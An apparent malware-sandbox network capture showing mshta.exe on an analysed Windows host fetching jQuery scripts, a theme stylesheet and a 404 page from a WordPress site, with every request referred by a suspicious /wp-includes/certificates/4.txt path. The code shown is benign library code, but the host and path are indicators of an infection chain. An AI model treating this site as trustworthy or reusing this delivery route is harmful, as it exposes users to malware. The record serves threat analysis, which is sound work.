                                                                                      Aug 16, 2022 11:39:37.042741060 CEST1938INData Raw: 67 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c
                                                                                      Data Ascii: gth=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(
                                                                                      Aug 16, 2022 11:39:37.042766094 CEST1939INData Raw: 31 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74
                                                                                      Data Ascii: 1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f))
                                                                                      Aug 16, 2022 11:39:37.042788982 CEST1940INData Raw: 70 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29
                                                                                      Data Ascii: parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.
                                                                                      Aug 16, 2022 11:39:37.042812109 CEST1942INData Raw: 61 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28
                                                                                      Data Ascii: a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retu
                                                                                      Aug 16, 2022 11:39:37.270454884 CEST1993INData Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75
                                                                                      Data Ascii: nction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(
                                                                                      Aug 16, 2022 11:39:37.728748083 CEST2089OUTGET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:37.956943035 CEST2092INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4fad2-1860-58592f81e2d80"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                                                      Content-Length: 6240
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929782 20383093
                                                                                      Age: 143
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64
                                                                                      Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislid
                                                                                      Aug 16, 2022 11:39:37.961383104 CEST2098OUTGET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:39.064961910 CEST2112INHTTP/1.1 404 Not Found
                                                                                      Date: Tue, 16 Aug 2022 09:39:38 GMT
                                                                                      Server: Apache
                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                      Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                      X-Varnish: 21929784
                                                                                      Age: 0
                                                                                      Via: 1.1 varnish-v4
                                                                                      Transfer-Encoding: chunked
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74
                                                                                      Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      22192.168.2.349767187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:37.463082075 CEST2027OUTGET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:37.692281008 CEST2084INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4faba-ce4-58592ec326b80"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT
                                                                                      Content-Length: 3300
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 15075243 23601811
                                                                                      Age: 143
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63
                                                                                      Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b*(a/=d)*a+c},easeOutQuad:function(e,a,c,b,d){return-b*(a/=d)*(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a+c:-b/2*(--a*(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b*(a/=d)*a*a+c},easeOutCubic:function(e,a,c,b,d){return b*((a=a/d-1)*a*a+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a+c:b/2*((a-=2)*a*a+2)+c},easeInQuart:function(e,a,c,b,d){return b*(a/=d)*a*a*a+c},easeOutQuart:function(e,a,c,b,d){return-b*((a=a/d-1)*a*a*a-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a+c:-b/2*((a-=2)*a*a*a-2)+c},easeInQuint:function(e,a,c,b,d){return b*(a/=d)*a*a*a*a+c},easeOutQuint:function(e,a,c,b,d){return b*((a=a/d-1)*a*a*a*a+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2*a*a*a*a*a+c
                                                                                      Aug 16, 2022 11:39:37.692306042 CEST2086INData Raw: 3a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28
                                                                                      Data Ascii: :b/2*((a-=2)*a*a*a*a+2)+c},easeInSine:function(e,a,c,b,d){return-b*Math.cos(a/d*(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return b*Math.sin(a/d*(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2*(Math.cos(Math.PI*a/d)-1)+c},
                                                                                      Aug 16, 2022 11:39:37.692328930 CEST2087INData Raw: 3b 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20
                                                                                      Data Ascii: ;f||(f=d*0.3*1.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2*Math.PI)*Math.asin(b/g);return 1>a?-0.5*g*Math.pow(2,10*(a-=1))*Math.sin((a*d-e)*2*Math.PI/f)+c:0.5*g*Math.pow(2,-10*(a-=1))*Math.sin((a*d-e)*2*Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f)
                                                                                      Aug 16, 2022 11:39:37.695179939 CEST2087OUTGET /wp-content/themes/CherryFramework/style.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:37.924397945 CEST2090INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a52f1b-20b-58592c21db700"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT
                                                                                      Content-Length: 523
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 15075245 23601813
                                                                                      Age: 143
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 